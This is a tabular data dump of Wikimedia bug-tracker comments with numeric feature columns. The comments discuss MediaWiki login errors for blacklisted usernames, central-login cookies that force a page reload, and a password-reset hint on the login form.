2) If the wiki's administrators have banned a particular user name from creation, but our SUL unification tries to make an account for them, then is it the right thing to do to still display a regular ""wrong password"" error message when someone tries to login with that username but gets the password wrong?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11533}"
244720,Badly formatted login error when username banned from creation,"Change 47821 merged by jenkins-bot:
Fix double-parsing of account creation messages.

https://gerrit.wikimedia.org/r/47821",,,1382610936,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 47821 merged by jenkins-bot:
Fix double-parsing of account creation messages.

GERRIT_URL"
244716,Badly formatted login error when username banned from creation,"Change 47821 had a related patch set uploaded by Bartosz Dziewoński:
Fix double-parsing of account creation messages.

https://gerrit.wikimedia.org/r/47821",,,1380128596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 47821 had a related patch set uploaded by Bartosz Dziewoński:
Fix double-parsing of account creation messages.

GERRIT_URL"
244713,Badly formatted login error when username banned from creation,*** Bug 54336 has been marked as a duplicate of this bug. ***,,,1379680275,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54336 has been marked as a duplicate of this bug. ***
244710,Badly formatted login error when username banned from creation,"**swalling** wrote:

This kind of error is also present on enwiki, it seems. Thought it might be related more to 44718. Not sure. 

I've added S Page to the bug, the engineer who did the bulk of our team's work on account creation. He should be able to help hunt down what's going on here.",,,1375029218,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,4.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,12.0,6.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.2777777777777777,0.7361111111111112,"**swalling** wrote:

This kind of error is also present on enwiki, it seems. Thought it might be related more to 44718. Not sure. 

I've added S Page to the bug, the engineer who did the bulk of our team's work on account creation. He should be able to help hunt down what's going on here."
244707,Badly formatted login error when username banned from creation,"**swalling** wrote:

enwiki screenshot

**Attached**: {F11535}",,,1375028988,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.95,0.55,"**swalling** wrote:

enwiki screenshot

**Attached**: {F11535}"
244704,Badly formatted login error when username banned from creation,"For that specific blacklist rule, I edited it to make it match word boundaries only[1], so Sumana you should be able to log in now.

[1] https://zh.wikipedia.org/w/index.php?title=MediaWiki:Titleblacklist&diff=27947386&oldid=27399854",,,1375016524,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,12.0,15.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.3823529411764706,0.8823529411764706,"For that specific blacklist rule, I edited it to make it match word boundaries only[1], so Sumana you should be able to log in now.

[1] URL"
244697,Badly formatted login error when username banned from creation,"(1) is a due to bug 44718.
(2) is a real bug, but more or less related to bug 36939.",,,1375016333,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,2.357142857142857,0.7142857142857143,"(1) is a due to bug 44718.
(2) is a real bug, but more or less related to bug 36939."
244693,Badly formatted login error when username banned from creation,"**sumanah** wrote:

close-up of login error

**Attached**: {F11534}",,,1375015390,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5833333333333335,0.625,"**sumanah** wrote:

close-up of login error

**Attached**: {F11534}"
53850,New login.wikimedia system forces a reload on every wiki,"I'm not sure which is the correct component/product, if it's WMF configuration or CA, so please move if it's not in the right place.

On every wiki I visit, since the loginwiki has been made active, instead of being welcomed by my locally set monobook interface, I get a vector UI with the following message:

""Central login
You are centrally logged in as Snowolf. Reload the page to apply your user settings.""

It is rather timeconsuming to have to reload on every wiki I browse... is there no way around it?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374563520,1395326036.0,PHID-USER-h4ziznimyckbsu4u6jtl,False,,False,PHID-TASK-uxy6h7vz7hi7yprytta7,task_description,declined,True,c2,1,False,False,False,-6,True,1.5,0.0,0.0,2.0,1.0,5.5,1.5,0.0,0.0,1.0,2.5,0.5,0.0,0.0,1.0,3.0,0.0,4.0,9.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,6.5,0.0,2.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,9.5,1.5,0.5,6.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,7.0,9.5,3.5,1.0,1.5,0.0,7.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.778904428904429,0.763053613053613,"I'm not sure which is the correct component/product, if it's WMF configuration or CA, so please move if it's not in the right place.

On every wiki I visit, since the loginwiki has been made active, instead of being welcomed by my locally set monobook interface, I get a vector UI with the following message:

""Central login
You are centrally logged in as Snowolf. Reload the page to apply your user settings.""

It is rather timeconsuming to have to reload on every wiki I browse... is there no way around it?

--------------------------
**Version**: unspecified
**Severity**: normal"
247376,New login.wikimedia system forces a reload on every wiki,"I think it's obsolete, I haven't run into it in ages.",,,1395326036,,PHID-USER-h4ziznimyckbsu4u6jtl,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,13.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,27.0,13.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8666666666666667,0.8666666666666667,"I think it's obsolete, I haven't run into it in ages."
247373,New login.wikimedia system forces a reload on every wiki,"Snowolf: Still an issue, or obsolete? Can you provide more info?",,,1387377972,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,3.6,0.9333333333333333,"Snowolf: Still an issue, or obsolete? Can you provide more info?"
247369,New login.wikimedia system forces a reload on every wiki,"Snowolf: Still an issue, or obsolete? Can you provide more info?",,,1385134124,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,3.6,0.9333333333333333,"Snowolf: Still an issue, or obsolete? Can you provide more info?"
247365,New login.wikimedia system forces a reload on every wiki,"(In reply to comment #6 by Snowolf)
> Will try to get you Headers data and the rest of the required info

Snowolf: Did you have luck / time to do that?",,,1378745041,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,4.0,16.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.92,0.92,"(In reply to comment #6 by Snowolf)
QUOTE

Snowolf: Did you have luck / time to do that?"
247360,New login.wikimedia system forces a reload on every wiki,"(In reply to comment #6 by Snowolf)
> Will try to get you Headers data and the rest of the required info

Snowolf: Did you have luck / time to do that?",,,1377620836,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,4.0,16.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.92,0.92,"(In reply to comment #6 by Snowolf)
QUOTE

Snowolf: Did you have luck / time to do that?"
247353,New login.wikimedia system forces a reload on every wiki,"These are all hours after I actually login, and multiple times during a day on the same wiki (Metawiki, which is the one I usually work on). I mean, it's not like I login, and run into this. I get them at random times all thru ought the day. Will try to get you Headers data and the rest of the required info. I don't think Adblock would do that, as it is in its default config iirc. More likely to be https://addons.mozilla.org/en-US/firefox/addon/donottrackplus/ .",,,1374702269,,PHID-USER-h4ziznimyckbsu4u6jtl,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,False,,,-5,True,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,6.0,0.0,7.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,3.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,13.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,13.0,4.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,3.306122448979592,0.6938775510204082,"These are all hours after I actually login, and multiple times during a day on the same wiki (Metawiki, which is the one I usually work on). I mean, it's not like I login, and run into this. I get them at random times all thru ought the day. Will try to get you Headers data and the rest of the required info. I don't think Adblock would do that, as it is in its default config iirc. More likely to be URL ."
247348,New login.wikimedia system forces a reload on every wiki,"That will happen if the code that runs after the initial login can't set the necessary cookies on all the other domains. It's better than how things used to be if the cookies couldn't be set; before you'd have to manually log in on every wiki instead of just reloading.

The way things work now: You log in, it redirects you to login.wikimedia.org, then redirects you back, then redirects you to the page that used to be the ""return to"" link. I guess this part is all working properly for you, since the JS message you're getting depends on that much.

Then, in the footer of that returned-to page, it injects a number of 1x1 pixel images to set the cookies for the other domains. These redirect between the other domain and loginwiki a few times before finally setting the cookie. Presumably something about that is failing.
* Do you have anything installed that blocks ""web bugs""? For example, I see an Adblock Plus icon in your screenshot, which may be configured to do this.
* Can you check that these images are actually present? Search the page source for ""1x1"".
* If you know how to use something like Firefox's Live HTTP Headers addon,[1] capture the headers for a load of one of those images. If you do so, please redact the values of the various *_Token and *_Session cookies before posting the captured headers.
* A final possibility is that your browser is refusing to set the third-party cookies from the images, even if you've visited the third-party site before.


 [1]: https://addons.mozilla.org/en-us/firefox/addon/live-http-headers/",,,1374685767,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-5,True,1.25,0.75,0.0,0.5,0.5,4.25,1.25,0.0,0.0,1.25,1.25,1.25,0.0,0.0,0.0,0.5,0.0,4.75,12.5,0.75,2.0,0.0,0.25,0.0,1.0,0.0,0.0,0.0,0.75,0.5,0.0,6.0,1.0,0.75,0.0,3.75,0.0,0.25,1.0,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.5,0.25,11.75,1.25,1.5,0.25,0.25,0.25,0.0,0.0,0.25,0.0,0.0,0.5,0.5,0.25,0.0,0.0,0.5,0.25,7.25,2.25,6.75,2.75,0.5,10.5,0.0,0.0,0.0,0.0,4.5,0.25,1.0,0.0,5.0,12.5,1.75,0.5,1.5,0.0,5.0,0.0,1.5,1.25,0.0,1.75,0.25,0.0,0.25,3.8055555555555554,0.7222222222222222,"That will happen if the code that runs after the initial login can't set the necessary cookies on all the other domains. It's better than how things used to be if the cookies couldn't be set; before you'd have to manually log in on every wiki instead of just reloading.

The way things work now: You log in, it redirects you to login.wikimedia.org, then redirects you back, then redirects you to the page that used to be the ""return to"" link. I guess this part is all working properly for you, since the JS message you're getting depends on that much.

Then, in the footer of that returned-to page, it injects a number of 1x1 pixel images to set the cookies for the other domains. These redirect between the other domain and loginwiki a few times before finally setting the cookie. Presumably something about that is failing.
* Do you have anything installed that blocks ""web bugs""? For example, I see an Adblock Plus icon in your screenshot, which may be configured to do this.
* Can you check that these images are actually present? Search the page source for ""1x1"".
* If you know how to use something like Firefox's Live HTTP Headers addon,[1] capture the headers for a load of one of those images. If you do so, please redact the values of the various *_Token and *_Session cookies before posting the captured headers.
* A final possibility is that your browser is refusing to set the third-party cookies from the images, even if you've visited the third-party site before.


 [1]: URL"
247342,New login.wikimedia system forces a reload on every wiki,"For reference: centralauth-centralautologin-logged-in is the relevant MediaWiki message and SpecialCentralAutoLogin.php is the relevant PHP file that uses it (cf. <https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FCentralAuth.git/dcf1d2c3e7459b2de101941dbd4235acd858172b/specials%2FSpecialCentralAutoLogin.php>).

I'm not quite sure whether there's a bug here or if this is expected behavior.",,,1374684449,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,2.0,2.0,6.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,4.36734693877551,0.8571428571428571,"For reference: centralauth-centralautologin-logged-in is the relevant MediaWiki message and SpecialCentralAutoLogin.php is the relevant PHP file that uses it (cf. <URL

I'm not quite sure whether there's a bug here or if this is expected behavior."
247339,New login.wikimedia system forces a reload on every wiki,"Created attachment 12945
Screenshot of post-login notification in the wrong skin advising the user to refresh

**Attached**: {F11628}",,,1374683510,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.068965517241379,0.8620689655172413,"Created attachment 12945
Screenshot of post-login notification in the wrong skin advising the user to refresh

**Attached**: {F11628}"
247336,New login.wikimedia system forces a reload on every wiki,"https://imageshack.us/a/img835/4162/ydan.png

As you can see, it's vector without any of my custom js. Earlier today, I had it happen even on Meta, with myself being shown as logged out until I refreshed :S",,,1374659841,,PHID-USER-h4ziznimyckbsu4u6jtl,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,False,,,-5,True,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,20.0,5.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.35,0.9,"URL

As you can see, it's vector without any of my custom js. Earlier today, I had it happen even on Meta, with myself being shown as logged out until I refreshed :S"
247332,New login.wikimedia system forces a reload on every wiki,Odd. Can you provide a screenshot (including the URL bar)?,,,1374563689,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.5,1.0,Odd. Can you provide a screenshot (including the URL bar)?
53807,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","In case they forget their user names.

--------------------------
**Version**: 1.22.0
**Severity**: normal",Medium,50.0,1374496560,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-xndapvgygn6wegu24ann,task_description,open,True,c2,1,False,False,,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.6538461538461539,"In case they forget their user names.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
244996,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","Ok, updating summary. This is a regression caused by the (mostly) undocumented 1.22 changes to login: https://www.mediawiki.org/wiki/MediaWiki_1.22#Login_and_signup_forms

Up to 1.21, I see ""Forgotten your login details?"" next to the ""Log in"" button. Now the login button consumes all the horizontal space and has ""Keep me logged in"" above it, the newly introduced ""Help with logging in"" below it. I guess the only option is to add a ""Forgot your username?"" next to ""Username"" as done with t the password, in the cases where the space is not taken by the ""Use secure connection"" link.",,,1407159360,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xndapvgygn6wegu24ann,task_subcomment,,True,c2,3,True,,,48,True,0.5,0.0,0.0,1.0,1.0,2.0,1.5,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,2.0,0.0,5.0,11.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,4.5,2.5,1.5,1.0,1.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,8.0,2.0,8.5,1.0,0.5,9.0,0.0,0.0,0.0,0.0,4.5,0.5,1.0,0.0,5.0,11.5,1.0,1.5,10.0,0.0,5.0,0.0,1.0,1.5,0.5,1.5,0.0,0.0,0.0,3.5,0.7131147540983607,"Ok, updating summary. This is a regression caused by the (mostly) undocumented 1.22 changes to login: URL

